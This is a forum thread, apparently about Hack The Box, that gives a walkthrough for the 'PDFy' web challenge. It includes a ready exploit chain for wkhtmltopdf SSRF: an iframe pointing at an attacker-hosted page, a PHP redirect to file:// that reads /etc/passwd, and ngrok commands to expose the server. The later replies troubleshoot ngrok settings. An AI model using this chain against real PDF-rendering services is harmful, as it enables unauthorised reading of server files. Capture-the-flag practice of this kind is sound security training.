[macavitysworld]

HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html>
<body>
    <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe>
</body>
</html>

- Create flag.php

PHP Code:

<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server

php -S 127.0.0.1:8000

- Forward the local server via ngrok

ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

---

HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html>
<body>
    <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe>
</body>
</html>

- Create flag.php

PHP Code:

<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server

php -S 127.0.0.1:8000

- Forward the local server via ngrok

ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

Here is your flag:

Hidden Content

You must register or login to view this content.

[horacewells]

I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

[macavitysworld]

I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

[horacewells]

I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.

[macavitysworld]

I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.

If you don't have a paid ngrok plan, when you forward via http the page will land in a default warning page asking for confirmation to enter the site. So when you request the url on the challenge website, the default page will be called, not the file you hosted. That's the reason why I specified tcp instead of http. On tcp the default page is absent.

[maverick78]

Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page

[macavitysworld]

Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page

Yeah, sorry for that, I could't edit it later. But wouldn't be a problem if you know to use ngrok, rather than copy pasting. Also http would work if you have a paid plan!

[jigahiga]

Thank you man!!!!

---

Reallly tough challenge. lmao

[cavour13]

yeah ! the exploit is in the <?php header('location:file://'.$_REQUEST['x']); ?> which can you make a get reqeust and make lfi wirh ssrf !

[0x00b]

interesting, thx btw for sharing